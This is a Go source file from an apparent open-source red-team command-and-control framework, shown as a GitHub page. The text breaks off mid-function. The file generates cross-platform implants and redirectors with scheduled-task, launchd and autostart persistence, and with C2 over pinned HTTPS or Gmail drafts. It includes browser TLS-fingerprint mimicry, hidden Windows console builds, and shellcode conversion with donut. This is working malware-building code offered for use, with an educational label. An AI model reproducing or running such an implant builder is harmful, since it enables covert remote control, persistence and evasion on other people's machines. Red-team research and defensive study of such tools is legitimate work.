-
Notifications
You must be signed in to change notification settings - Fork 2
/
hivImplants.go
1023 lines (814 loc) · 34.4 KB
/
hivImplants.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
//By Rebujacker - Alvaro Folgado Rueda as an open source educative project
package main
import (
"os/exec"
"os"
"fmt"
"bytes"
"encoding/json"
"strings"
"encoding/base64"
)
/*
JSON Structures for Compiling Redirectors and Implants (Bichito)
These JSON structure will be passed to the go compiling process to provide most of the configurations related to which modules are active.
*/
//Compiling-time JSON-Encoded Configurations for Redirector
type RedConfig struct {
Roaster string `json:"roaster"`
HiveFingenprint string `json:"hivefingenprint"`
Token string `json:"token"`
BiToken string `json:"bitoken"`
Saas string `json:"saas"`
Offline string `json:"offline"`
Coms string `json:"coms"`
}
//JSON Objects for the Redirector Network module
//Same mappings: ./src/redirector/network_modules.go
type RedParanoidTls struct {
Port string `json:"port"`
}
type Redhttp struct {
Port string `json:"port"`
}
type RedSelfSignedhttps struct {
Port string `json:"port"`
}
type RedParanoidhttps struct {
Port string `json:"port"`
}
//SaaS Redirectors
type RedGmail struct {
Redirectors []string `json:"redirectors"`
}
type Redtwitter struct {
}
//Compiling-time JSON-Encoded Configurations for Bichito
//Same mappings: ./src/bichito/bichito.go
type BiConfig struct {
Ttl string `json:"ttl"`
Resptime string `json:"resptime"`
Token string `json:"token"`
Coms string `json:"coms"`
Persistence string `json:"persistence"`
}
//JSON Objects for the Bichito Network module
//Same mappings: ./src/bichito/modules/network/network_modules.go
type BiParanoidTls struct {
Port string `json:"port"`
RedFingenPrint string `json:"redfingenrpint"`
Redirectors []string `json:"redirectors"`
}
type Bihttp struct {
Port string `json:"port"`
Redirectors []string `json:"redirectors"`
}
type BiSelfSignedhttps struct {
Port string `json:"port"`
Redirectors []string `json:"redirectors"`
}
type BiParanoidhttps struct {
Port string `json:"port"`
RedFingenPrint string `json:"redfingenrpint"`
Redirectors []string `json:"redirectors"`
}
//SaaS Redirectors
type BiGmail struct {
Redirectors []string `json:"redirectors"`
}
type BiGmailMimic struct {
UserAgent string `json:"useragent"`
TlsFingenprint string `json:"tlsfingenprint"`
Redirectors []string `json:"redirectors"`
}
type Bitwitter struct {
}
/// JSON Persistence Modules Objects
//Same mappings: ./src/bichito/modules/persistence/persistence_modules.go
//Windows
type BiPersistenceWinSchtasks struct {
TaskName string `json:"taskname"`
Path string `json:"implantpath"`
}
//Darwin
type BiPersistenceLaunchd struct {
Path string `json:"implantpath"`
LaunchdName string `json:"launchdname"`
}
//Linux
type BiPersistenceAutoStart struct {
Path string `json:"implantpath"`
AutostartName string `json:"autostartname"`
}
/*
Description: Implant generation/compilation function. The objective of this function is pack-up different Implant options in JSON strings and
compile Implants from different platform sending these string in compiling time.
In this way, binaries will have in execution time all the data they will need:
1. Basic: Redirector list, time to live, response time,etc...
2. Network Modules: certificates, ports, domains...
3. Persistence Modules: OS Paths, task configurations, etc...
[...]
Flow:
A.[Main Implant authentication] Generate Redirector and Implant tokens, these will be checked at Hive to avoid Implant supplantation from the Internet.
B.Encode Implant data and send it within DB
C.Create Implant Folder and extract TLS Signature from Hive certificates (to avoid Hive spoofing in redirectors)
D."Network Module Switcher" will dynamically add the right redirector/Implant network module data to the "on-compile" vars.
D1 For Implants with non "SaaS" modules, multiple redirectors could be selected. In these scenarios a loop will be run, to create an
Slice with each's redirector network endpoint data. This slice will be a inner parameter of the JSON Implant "on-compile" data.
Note: For "Offline Mode" endpoints will be added directly without extracting data from assets in DB
E."Persistence Module Switcher" will dynamically add the right Implant Persistence module data to the "on-compile" vars (architecture/OS wise)
F. Compile Implants:
F1.Select go, and set previously crafted JSON string as dynamic compiling Information, go will compile in target Implant folder
Note: redModules,bModules will be used to compile one type or other of Implant/Redirector in relation of its Modules
F2.GOPATH to the Implant/Redirector Sources
F2.GOOS/GOARCH for target foothold OS/Arch
F3.CGO will be used to compile C++ (windows) and Objective C (darwin). This is needed for some modules capabilities.
Select mingw32 c++ compiler //CGO
Select clang (OSXCross project) Objective Ccompiler //CGO
G.Start the generation of Infrastructure (explained in ./src/hive/hivInfra.go) or not, if the Implant is Offline
*/
func createImplant(Offline string,name string,ttl string,resptime string,coms string,comsparams []string,persistenceOSX string,
persistenceOSXParams string,persistenceWindows string,persistenceWindowsParams string,persistenceLinux string,persistenceLinuxParams string,
redirectors []Red) string{
var(
//Buffers
errbuf,outbuf bytes.Buffer
//JSON Implant Object to save within DB. This object is defined in ./src/hive/hivDB.go
implant Implant
modules Modules
/*JSON String for Compiling time on Implant:
Basic Implant information: Redirector List,TTL,auth. token,respTime,[...]
Modules Configurations specific for each platform
A. Network Module and Params
B. Persistence Module and Params
[...]
*/
biconfig BiConfig
biCompilParamsOSX string
biCompilParamsWindows string
biCompilParamsLinux string
/*JSON String for Compiling time on Redirector:
Basic Redirector information: Hive endpoint data, auth. token,[...]
Network Module data (Ports,pem files,SaaS accounts credentials...)
*/
redconfig RedConfig
redCompilParams string
)
//// Generate Auth Tokens for implant and it to DB,add auth tokens to compiling params, add folder
redtoken := randomString(22)
bitoken := randomString(22)
//Encode to JSON objects to save Implant Configurations on DB
bufM := new(bytes.Buffer)
modules = Modules{coms,persistenceOSX,persistenceWindows,persistenceLinux}
json.NewEncoder(bufM).Encode(modules)
resultM := bufM.String()
implant = Implant{name,ttl,resptime,redtoken,bitoken,resultM}
errI := addImplantDB(&implant)
if errI != nil {
elog := fmt.Sprintf("%s%s","ImplantGeneration(Implant Exists):",errI)
return elog
}
//Prepare JSON Strings for on-compile vars. Add auth. Tokens
redconfig = RedConfig{getRoasterStringDB(),"","","","","",""}
biconfig = BiConfig{ttl,resptime,"","",""}
redconfig.Token = redtoken
redconfig.BiToken = bitoken
biconfig.Token = bitoken
//// Generate Folder and Hive SSL Cert signature
implantFolder := "/usr/local/STHive/implants/"+name
mkdir := exec.Command("/bin/mkdir",implantFolder)
mkdir.Stderr = &errbuf
mkdir.Start()
mkdir.Wait()
mkdirErr := errbuf.String()
// Record the error when generating a new Implant Set
if (mkdirErr != ""){
//ErrorLog
errorT := mkdirErr
elog := fmt.Sprintf("%s%s","Commands(ImplantGeneration-MKDIR):",errorT)
return elog
}
hivefingenprint := exec.Command("/bin/sh","-c","openssl x509 -fingerprint -sha256 -noout -in /usr/local/STHive/certs/hive.pem | cut -d '=' -f2")
hivefingenprint.Stdout = &outbuf
hivefingenprint.Start()
hivefingenprint.Wait()
redconfig.HiveFingenprint = strings.Split(outbuf.String(),"\n")[0]
outbuf.Reset()
/*
Switch case for Implant/Redirectors Communication Modules Parameters
Note that almos every case has a loop, to prepare the slice with each Redirector.
Offline Implant will not need extracting data from DB assets
*/
switch coms{
//Non-"SaaS" Network Modules --> Redirectors are in the shape of Endpoint Strings (domain,port...)
case "paranoidtlsgo":
//TO-DO
case "http":
//TO-DO
/*
Https Capabilities with a self signed ssl certificate
*/
case "selfsignedhttpsgo":
var(
redselfsignedhttps RedSelfSignedhttps
biselfsignedhttps BiSelfSignedhttps
)
redselfsignedhttps = RedSelfSignedhttps{comsparams[0]}
biselfsignedhttps = BiSelfSignedhttps{comsparams[0],[]string{}}
//Generate Redirector TLS Certificates
redCerts := exec.Command("/bin/sh","-c", "openssl req -subj '/CN=finance.com/' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout "+implantFolder+"/red.key -out "+implantFolder+"/red.pem; cat "+implantFolder+"/red.key >> "+implantFolder+"/red.pem")
errbuf.Reset()
redCerts.Stderr = &errbuf
redCerts.Start()
redCerts.Wait()
redcertErr := ""
// Record the error when generating a new Implant Set
if (redcertErr != ""){
errorT := redcertErr
elog := fmt.Sprintf("%s%s","Commands(ImplantGeneration-REDCERT):",errorT)
return elog
}
//Get the TLS Signature for the Implants
redSign := exec.Command("/bin/sh","-c", "openssl x509 -fingerprint -sha256 -noout -in "+ implantFolder +"/red.pem | cut -d '=' -f2")
errbuf.Reset()
redSign.Stdout = &outbuf
redSign.Stderr = &errbuf
redSign.Start()
redSign.Wait()
redSignErr := ""
// Record the error when generating a new Implant Set
if (redSignErr != ""){
errorT := redSignErr
elog := fmt.Sprintf("%s%s","Commands(ImplantGeneration-REDSIGN):",errorT)
return elog
}
//biparanoidhttps.RedFingenPrint = strings.Split(outbuf.String(),"\n")[0]
outbuf.Reset()
//fmt.Println(redirectors)
//Go over selected redirectos, add them to DB and update Implant Configuration Data
for _,redirector := range redirectors{
if Offline == "No" {
genId := fmt.Sprintf("%s%s","R-",randomString(8))
//Check if VPS/Domain exists
extvps,_ := existVpsDB(redirector.Vps)
extdomain,_ := existDomainDB(redirector.Domain)
usedDomain,_ := isUsedDomainDB(redirector.Domain)
if !extvps || !extdomain || usedDomain{
elog := fmt.Sprintf("%s","ImplantGeneration(NotExistingVPS/Domain,UsedDomain,DB-Error)")
return elog
}
// Add Redirector to DB
implantId,_ := getImplantIdbyNameDB(name)
vpsId,_ := getVpsIdbyNameDB(redirector.Vps)
domainId,_ := getDomainIdbyNameDB(redirector.Domain)
errSet1 := setUsedDomainDB(redirector.Domain,"Yes")
errSet2 := addRedDB(genId,"","",vpsId,domainId,implantId)
if (errSet1 != nil) {
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+ errSet1.Error()
}
if (errSet2 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+ errSet2.Error()
}
// Add Redirector data to Implant Redirectors Slice
domainO := getDomainDB(redirector.Domain)
biselfsignedhttps.Redirectors = append(biselfsignedhttps.Redirectors,domainO.Domain)
}else{
biselfsignedhttps.Redirectors = append(biselfsignedhttps.Redirectors,redirector.Domain)
redconfig.Offline = name
}
}
//If Offline let's add a dummy Redirector for comply with Architecture
if Offline != "No" {
genId := fmt.Sprintf("%s%s","R-",randomString(8))
implantId,_ := getImplantIdbyNameDB(name)
errAddRed := addRedDB(genId,"","",0,0,implantId)
if (errAddRed != nil){
return errAddRed.Error()
}
}
//Encode from JSON to string Redirector and Implant Configurations
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(redselfsignedhttps)
resultRP := bufRP.String()
redconfig.Coms = resultRP
bufBP := new(bytes.Buffer)
json.NewEncoder(bufBP).Encode(biselfsignedhttps)
resultBP := bufBP.String()
biconfig.Coms = resultBP
/*
Https Capabilities with a self signed ssl certificate.
Impants will check if the target Redirector pem signature match.
So if the foothold has a SSLProxy, will not be able to egress.
*/
case "paranoidhttpsgo":
var(
redparanoidhttps RedParanoidhttps
biparanoidhttps BiParanoidhttps
)
redparanoidhttps = RedParanoidhttps{comsparams[0]}
biparanoidhttps = BiParanoidhttps{comsparams[0],"",[]string{}}
//Generate Redirector TLS Certificates
redCerts := exec.Command("/bin/sh","-c", "openssl req -subj '/CN=finance.com/' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout "+implantFolder+"/red.key -out "+implantFolder+"/red.pem; cat "+implantFolder+"/red.key >> "+implantFolder+"/red.pem")
errbuf.Reset()
redCerts.Stderr = &errbuf
redCerts.Start()
redCerts.Wait()
redcertErr := ""
// Record the error when generating a new Implant Set
if (redcertErr != ""){
errorT := redcertErr
elog := fmt.Sprintf("%s%s","Commands(ImplantGeneration-REDCERT):",errorT)
return elog
}
//Get the TLS Signature for the Implants
redSign := exec.Command("/bin/sh","-c", "openssl x509 -fingerprint -sha256 -noout -in "+ implantFolder +"/red.pem | cut -d '=' -f2")
errbuf.Reset()
redSign.Stdout = &outbuf
redSign.Stderr = &errbuf
redSign.Start()
redSign.Wait()
redSignErr := ""
// Record the error when generating a new Implant Set
if (redSignErr != ""){
errorT := redSignErr
elog := fmt.Sprintf("%s%s","Commands(ImplantGeneration-REDSIGN):",errorT)
return elog
}
biparanoidhttps.RedFingenPrint = strings.Split(outbuf.String(),"\n")[0]
outbuf.Reset()
//Go over selected redirectos, add them to DB and update Implant Configuration Data
for _,redirector := range redirectors{
if Offline == "No" {
genId := fmt.Sprintf("%s%s","R-",randomString(8))
//Check if VPS/Domain exists
extvps,_ := existVpsDB(redirector.Vps)
extdomain,_ := existDomainDB(redirector.Domain)
usedDomain,_ := isUsedDomainDB(redirector.Domain)
if !extvps || !extdomain || usedDomain{
elog := fmt.Sprintf("%s","ImplantGeneration(NotExistingVPS/Domain,UsedDomain,DB-Error)")
return elog
}
// Add Redirector to DB
implantId,_ := getImplantIdbyNameDB(name)
vpsId,_ := getVpsIdbyNameDB(redirector.Vps)
domainId,_ := getDomainIdbyNameDB(redirector.Domain)
errSet1 := setUsedDomainDB(redirector.Domain,"Yes")
errSet2 := addRedDB(genId,"","",vpsId,domainId,implantId)
if (errSet1 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+ errSet1.Error()
}
if (errSet2 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+ errSet2.Error()
}
// Add Redirector data to Implant Redirectors Slice
domainO := getDomainDB(redirector.Domain)
biparanoidhttps.Redirectors = append(biparanoidhttps.Redirectors,domainO.Domain)
}else{
biparanoidhttps.Redirectors = append(biparanoidhttps.Redirectors,redirector.Domain)
redconfig.Offline = name
}
}
//Encode from JSON to string Redirector and Implant Configurations
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(redparanoidhttps)
resultRP := bufRP.String()
redconfig.Coms = resultRP
bufBP := new(bytes.Buffer)
json.NewEncoder(bufBP).Encode(biparanoidhttps)
resultBP := bufBP.String()
biconfig.Coms = resultBP
case "letsencrypthttpsgo":
// TO-DO
//"SaaS" Network Modules --> Redirectors are in the shape of SaaS Credentials
/*
Use GMAIL API and DRAFT MAILS as a object to egress.
*/
case "gmailgo":
var(
redgmail RedGmail
bigmail BiGmail
)
redgmail = RedGmail{[]string{}}
bigmail = BiGmail{[]string{}}
var domainId int
var vpsId int
implantId,_ := getImplantIdbyNameDB(name)
if Offline == "No"{
vpsId,_ = getVpsIdbyNameDB(redirectors[0].Vps)
extvps,_ := existVpsDB(redirectors[0].Vps)
if !extvps{
elog := fmt.Sprintf("%s","ImplantGeneration(NotExistingVPS)")
return elog
}
}
//Go over selected redirectos, add them to DB and update Implant Configuration Data
for _,redirector := range redirectors{
extdomain,_ := existDomainDB(redirector.Domain)
usedDomain,_ := isUsedDomainDB(redirector.Domain)
if !extdomain || usedDomain{
elog := fmt.Sprintf("%s","ImplantGeneration(Domain,UsedDomain,DB-Error)")
return elog
}
// Add Redirector to DB
domainId,_ = getDomainIdbyNameDB(redirector.Domain)
errSet1 := setUsedDomainDB(redirector.Domain,"Yes")
if (errSet1 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+errSet1.Error()
}
// Add Redirector data to Implant Redirectors Slice
domainO := getDomainFullDB(redirector.Domain)
//Decode Parameters into GmailP and then create Gmail with name for SaaS Red List
var gmailP GmailP
errD := json.Unmarshal([]byte(domainO.Parameters),&gmailP)
if errD != nil{
elog := "ImplantGeneration(Gmail Parameters Decoding Error)"+errD.Error()
return elog
}
gmailO := Gmail{domainO.Name,gmailP.Creds,gmailP.Token}
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(gmailO)
if Offline == "No"{
redconfig.Saas = domainO.Domain
genId := fmt.Sprintf("%s%s","R-",randomString(8))
errSet2 := addRedDB(genId,"","",vpsId,domainId,implantId)
if (errSet2 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+errSet2.Error()
}
}else{
redconfig.Offline = name
}
redgmail.Redirectors = append(redgmail.Redirectors,bufRP.String())
bigmail.Redirectors = append(bigmail.Redirectors,bufRP.String())
}
//Encode from JSON to string Redirector and Implant Configurations
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(redgmail)
resultRP := bufRP.String()
redconfig.Coms = resultRP
bufBP := new(bytes.Buffer)
json.NewEncoder(bufBP).Encode(bigmail)
resultBP := bufBP.String()
biconfig.Coms = resultBP
/*
Use GMAIL API and DRAFT MAILS as a object to egress.
Use a special https function to mimic browsers TLS Fingerprints
*/
case "gmailmimic":
var(
redgmail RedGmail
bigmail BiGmailMimic
)
redgmail = RedGmail{[]string{}}
//Encode User Agent since is a param with space and can break compiling
useragent := base64.StdEncoding.EncodeToString([]byte(comsparams[0]))
bigmail = BiGmailMimic{useragent,comsparams[1],[]string{}}
implantId,_ := getImplantIdbyNameDB(name)
vpsId,_ := getVpsIdbyNameDB(redirectors[0].Vps)
extvps,_ := existVpsDB(redirectors[0].Vps)
var domainId int
var saas string
if !extvps{
elog := fmt.Sprintf("%s","ImplantGeneration(NotExistingVPS)")
return elog
}
//Go over selected redirectos, add them to DB and update Implant Configuration Data
for _,redirector := range redirectors{
extdomain,_ := existDomainDB(redirector.Domain)
usedDomain,_ := isUsedDomainDB(redirector.Domain)
if !extdomain || usedDomain{
elog := fmt.Sprintf("%s","ImplantGeneration(Domain,UsedDomain,DB-Error)")
return elog
}
// Add Redirector to DB
domainId,_ = getDomainIdbyNameDB(redirector.Domain)
errSet1 := setUsedDomainDB(redirector.Domain,"Yes")
if (errSet1 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+errSet1.Error()
}
// Add Redirector data to Implant Redirectors Slice
domainO := getDomainFullDB(redirector.Domain)
//Decode Parameters into GmailP and then create Gmail with name for SaaS Red List
var gmailP GmailP
errD := json.Unmarshal([]byte(domainO.Parameters),&gmailP)
fmt.Println("Domain Name:"+redirector.Domain)
fmt.Println("Domain Parameters:"+domainO.Parameters)
if errD != nil{
elog := "ImplantGeneration(Gmail Parameters Decoding Error)"+errD.Error()
return elog
}
gmailO := Gmail{domainO.Name,gmailP.Creds,gmailP.Token}
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(gmailO)
saas = domainO.Domain
redgmail.Redirectors = append(redgmail.Redirectors,bufRP.String())
bigmail.Redirectors = append(bigmail.Redirectors,bufRP.String())
genId := fmt.Sprintf("%s%s","R-",randomString(8))
errSet2 := addRedDB(genId,"","",vpsId,domainId,implantId)
if (errSet2 != nil){
return "ImplantGeneration(Error adding Red or chaging Domain Status,DB-Error):"+errSet2.Error()
}
}
//Encode from JSON to string Redirector and Implant Configurations
bufRP := new(bytes.Buffer)
json.NewEncoder(bufRP).Encode(redgmail)
resultRP := bufRP.String()
redconfig.Saas = saas
redconfig.Coms = resultRP
bufBP := new(bytes.Buffer)
json.NewEncoder(bufBP).Encode(bigmail)
resultBP := bufBP.String()
biconfig.Coms = resultBP
default:
elog := "CompilingCommands(ImplantGeneration):A network Module need to be choosen"
return elog
}
//With Module Parameters Encoded, craft the final Json blob to be passed as compile params to both redirectors and Implants
bufRedCompilParams := new(bytes.Buffer)
json.NewEncoder(bufRedCompilParams).Encode(redconfig)
redCompilParams = bufRedCompilParams.String()
//Redirector module for the moment is just the network module
rModules := coms
var bModulesOSX,bModulesWindows,bModulesLinux string
/*
Switch case for Implants Persistence Modules, per OS type
*/
switch persistenceOSX{
case "launchd":
biconfig.Persistence = persistenceOSXParams
bModulesOSX = coms + "," + "launchd"
default:
biconfig.Persistence = "NoPersistence"
bModulesOSX = coms + "," + "nopersistence"
}
//Craft OSX Compiled Params for the Implant
bufbiCompilParamsOSX := new(bytes.Buffer)
json.NewEncoder(bufbiCompilParamsOSX).Encode(biconfig)
biCompilParamsOSX = bufbiCompilParamsOSX.String()
switch persistenceWindows{
case "schtasks":
biconfig.Persistence = persistenceWindowsParams
bModulesWindows = coms + "," + "schtasks"
default:
biconfig.Persistence = "NoPersistence"
bModulesWindows = coms + "," + "nopersistence"
}
bufbiCompilParamsWindows := new(bytes.Buffer)
json.NewEncoder(bufbiCompilParamsWindows).Encode(biconfig)
biCompilParamsWindows = bufbiCompilParamsWindows.String()
switch persistenceLinux{
case "linuxautostart":
biconfig.Persistence = persistenceLinuxParams
bModulesLinux = coms + "," + "linuxautostart"
default:
biconfig.Persistence = "NoPersistence"
bModulesLinux = coms + "," + "nopersistence"
}
bufbiCompilParamsLinux := new(bytes.Buffer)
json.NewEncoder(bufbiCompilParamsLinux).Encode(biconfig)
biCompilParamsLinux = bufbiCompilParamsLinux.String()
// Generate executables/shellcodes for redirectors and implants in target Implant Folder
//Debug: Catch Bichitos JSON arguments
fmt.Println("Red Params: "+ redCompilParams +" Module Tags: "+ rModules)
fmt.Println("Windows Implant Params: "+ biCompilParamsWindows +" Windows Module Tags: "+ bModulesWindows)
fmt.Println("OSX Implant Params: "+ biCompilParamsOSX +" OSX Module Tags: "+ bModulesOSX)
fmt.Println("Linux Implant Params: "+ biCompilParamsLinux +" Linux Module Tags: "+ bModulesLinux)
//Redirector
redgen := exec.Command("/usr/local/STHive/sources/go/bin/go","build","--ldflags","-X main.parameters="+redCompilParams,"-tags",
rModules,"-o",implantFolder+"/redirector","redirector")
redgen.Env = os.Environ()
redgen.Env = append(redgen.Env,"GO111MODULE=off")
redgen.Env = append(redgen.Env,"GOPATH=/usr/local/STHive/sources/")
redgen.Env = append(redgen.Env,"GOOS=linux")
redgen.Env = append(redgen.Env,"GOARCH=amd64")
redgen.Env = append(redgen.Env,"GOCACHE=/tmp/.cache")
//Linux x32,x64
bichitoLx32 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","--ldflags","-X main.parameters="+biCompilParamsLinux,"-tags",
bModulesLinux,"-o",implantFolder+"/bichitoLinuxx32","bichito")
bichitoLx32.Env = os.Environ()
bichitoLx32.Env = append(bichitoLx32.Env,"GO111MODULE=off")
bichitoLx32.Env = append(bichitoLx32.Env,"GOPATH=/usr/local/STHive/sources/")
bichitoLx32.Env = append(bichitoLx32.Env,"GOOS=linux")
bichitoLx32.Env = append(bichitoLx32.Env,"GOARCH=386")
bichitoLx32.Env = append(bichitoLx32.Env,"GOCACHE=/tmp/.cache")
bichitoLx64 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","--ldflags","-X main.parameters="+biCompilParamsLinux,"-tags",
bModulesLinux,"-o",implantFolder+"/bichitoLinuxx64","bichito")
bichitoLx64.Env = os.Environ()
bichitoLx64.Env = append(bichitoLx64.Env,"GO111MODULE=off")
bichitoLx64.Env = append(bichitoLx64.Env,"GOPATH=/usr/local/STHive/sources/")
bichitoLx64.Env = append(bichitoLx64.Env,"GOOS=linux")
bichitoLx64.Env = append(bichitoLx64.Env,"GOARCH=amd64")
bichitoLx64.Env = append(bichitoLx64.Env,"GOCACHE=/tmp/.cache")
//Windows x32,x64
//-buildmode=pie, this is for being able to use donut and generate Shellcodes
//-H=windowsgui, will avoid to keep a cmd open if exdecuted from console
bichitoWx32 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","-buildmode=pie","--ldflags","-X main.parameters="+biCompilParamsWindows+" -H=windowsgui",
"-tags",bModulesWindows,"-o",implantFolder+"/bichitoWindowsx32","bichito")
bichitoWx32.Env = os.Environ()
bichitoWx32.Env = append(bichitoWx32.Env,"GO111MODULE=off")
bichitoWx32.Env = append(bichitoWx32.Env,"GOPATH=/usr/local/STHive/sources/")
bichitoWx32.Env = append(bichitoWx32.Env,"GOOS=windows")
bichitoWx32.Env = append(bichitoWx32.Env,"GOARCH=386")
bichitoWx32.Env = append(bichitoWx32.Env,"GOCACHE=/tmp/.cache")
bichitoWx32.Env = append(bichitoWx32.Env,"CGO_ENABLED=1")
bichitoWx32.Env = append(bichitoWx32.Env,"CC=i686-w64-mingw32-gcc")
bichitoWx32.Env = append(bichitoWx32.Env,"CXX=i686-w64-mingw32-g++")
bichitoWx64 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","-buildmode=pie","--ldflags","-X main.parameters="+biCompilParamsWindows+" -H=windowsgui",
"-tags",bModulesWindows,"-o",implantFolder+"/bichitoWindowsx64","bichito")
bichitoWx64.Env = os.Environ()
bichitoWx64.Env = append(bichitoWx64.Env,"GO111MODULE=off")
bichitoWx64.Env = append(bichitoWx64.Env,"GOPATH=/usr/local/STHive/sources/")
bichitoWx64.Env = append(bichitoWx64.Env,"GOOS=windows")
bichitoWx64.Env = append(bichitoWx64.Env,"GOARCH=amd64")
bichitoWx64.Env = append(bichitoWx64.Env,"GOCACHE=/tmp/.cache")
bichitoWx64.Env = append(bichitoWx64.Env,"CGO_ENABLED=1")
bichitoWx64.Env = append(bichitoWx64.Env,"CC=x86_64-w64-mingw32-gcc")
bichitoWx64.Env = append(bichitoWx64.Env,"CXX=x86_64-w64-mingw32-g++")
//Generate Windows Shellcodes using donut
//x32
bichitoWx32_exe := exec.Command("/usr/bin/cp",implantFolder+"/bichitoWindowsx32",implantFolder+"/bichitoWindowsx32.exe")
bichitoWx32_shellcode_bin := exec.Command("/usr/local/STHive/tools/donut",implantFolder+"/bichitoWindowsx32.exe","-o",implantFolder+"/bichitoWindowsx32_shellcode.binary")
bichitoWx32_shellcode_hex := exec.Command("/usr/local/STHive/tools/donut","-f","3",implantFolder+"/bichitoWindowsx32.exe","-o",implantFolder+"/bichitoWindowsx32_shellcode.hex")
//x64
bichitoWx64_exe := exec.Command("/usr/bin/cp",implantFolder+"/bichitoWindowsx64",implantFolder+"/bichitoWindowsx64.exe")
bichitoWx64_shellcode_bin := exec.Command("/usr/local/STHive/tools/donut",implantFolder+"/bichitoWindowsx64.exe","-o",implantFolder+"/bichitoWindowsx64_shellcode.binary")
bichitoWx64_shellcode_hex := exec.Command("/usr/local/STHive/tools/donut","-f","3",implantFolder+"/bichitoWindowsx64.exe","-o",implantFolder+"/bichitoWindowsx64_shellcode.hex")
//Darwin x32,x64
bichitoOx32 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","--ldflags","-X main.parameters="+biCompilParamsOSX,"-tags",bModulesOSX,"-o",
implantFolder+"/bichitoOSXx32","bichito")
bichitoOx32.Env = os.Environ()
bichitoOx32.Env = append(bichitoOx32.Env,"GO111MODULE=off")
bichitoOx32.Env = append(bichitoOx32.Env,"GOPATH=/usr/local/STHive/sources/")
